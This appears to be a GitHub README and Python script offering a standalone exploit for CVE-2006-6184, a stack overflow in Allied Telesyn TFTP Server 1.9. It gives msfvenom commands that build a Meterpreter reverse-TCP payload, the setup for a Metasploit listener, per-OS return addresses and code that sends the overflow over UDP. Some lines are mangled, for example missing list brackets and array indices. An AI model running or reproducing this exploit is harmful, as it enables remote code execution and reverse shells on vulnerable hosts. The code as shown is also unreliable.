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# CVE-2006-6184 This is a python-based standalone exploit for CVE-2006-6184. This exploit triggers a stack-based buffer overflow in Allied Telesyn TFTP Server (AT-TFTP) 1.9, and possibly earlier, allowing remote attackers to cause a denial of service or execute arbitrary code. ### Instructions (Updated for 2020) The payload must be customized to include your own IP address and listening port, so you'll need to generate it manually. To do so, use the following steps: 1.) Enter the following to create a hex file of the amount that needs to be subtracted from the stack pointer (3500): ```sh perl -e 'print "\x81\xec\xac\x0d\x00\x00"' > stackadj ``` 2.) Next, use the following command to create a staged meterpreter shell payload: ```sh msfvenom -p windows/meterpreter/reverse_nonx_tcp LHOST=your IP LPORT=your port R > payload ``` 3.) Then, combine the two files you just created. ```sh cat stackadj payload > shellcode ``` 4.) Finally, let's eliminate the bad characters. ```sh msfvenom -p generic/custom PAYLOADFILE=./shellcode -b "\x00" -e x86/shikata_ga_nai -f python ``` Enter the output as the value of the "payload" variable. You may need to run this exploit a few times for it to work. ### Metasploit Listener 1. use exploit/multi/handler 2. set PAYLOAD windows/meterpreter/reverse_nonx_tcp 3. set ExitOnSession false 4. set AutoRunScript post/windows/manage/migrate 5. exploit -j
atftp.py
#!/usr/bin/python
# Standalone exploit for Allied Telesyn TFTP Server 1.9
# Written by daleksec 07/21/2016
# Special thanks to NetSec.ws for the excellent walk through (see http://netsec.ws/?p=262)
import sys, socket
if len(sys.argv)<=2:
sys.exit('''Usage: python attftp_long_filename.py <IP Address> <Port> <Your IP Address> <OS choice>
0 Windows NT SP4 English
1 Windows 2000 SP0 English
2 Windows 2000 SP1 English
3 Windows 2000 SP2 English
4 Windows 2000 SP3 English
5 Windows 2000 SP4 English
6 Windows XP SP0/1 English
7 Windows XP SP2 English
8 Windows XP SP3 English
9 Windows Server 2003
10 Windows Server 2003 SP2
''')
host = sys.argv1 # Victim's IP
port = int(sys.argv2) # Victim's Port
lhost = sys.argv3 # Attacker's IP
os = int(sys.argv4) # OS Choice
ret = # Define array containing return addresses
# Define return addresses (Source: Metasploit)
ret = "\xf7\xa6\x2e\x70",
"\xc3\x62\x03\x75",
"\x85\x1d\x03\x75",
"\x1b\x43\x03\x75",
"\x5a\x1c\xfe\x74",
"\xce\x1d\x03\x75",
"\xfb\x7b\xab\x71",
"\x72\x93\xab\x71",
"\x53\x93\x42\x7e",
"\xd3\xfe\x86\x7c",
"\x1b\xa0\x86\x7c"
nop = "\x90" * (25-len(lhost)) # Create a NOP string as to bring NOPs + LHOST up to 25 bytes
# The payload must be customized to include your own IP address and listening port, so you'll need to generate it manually.
# To do so, use the following steps:
# 1.) Enter the following to create a hex file of the amount that needs to be subtracted from the stack pointer (3500):
# perl -e 'print "\x81\xec\xac\x0d\x00\x00"' > stackadj
# 2.) Next, use the following command to create a staged meterpreter shell payload:
# msfvenom -p windows/meterpreter/reverse_nonx_tcp LHOST=your IP LPORT=your port R > payload
# 3.) Then, combine the two files you just created.
# cat stackadj payload > shellcode
# 4.) Finally, let's eliminate the bad characters.
# msfvenom -p generic/custom PAYLOADFILE=./shellcode -b "\x00" -e x86/shikata_ga_nai -f python
# Enter the output as the value of the "payload" variable. You may need to run this exploit a few times for it to work.
payload = "" # Payload (bad characters = \x00, stack adjustment = -3500, can't exceed 210 bytes of space)
# payload += ""
# payload += ""
# ...
exploit = "\x00\x02" + nop + payload + retos + "\x83\xc4\x28\xc3\x00netascii\x00" # Our exploit so far
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Declare a UDP socket
client.sendto(exploit, (host, port)) # Send the exploit over UDP to the nominated addresses
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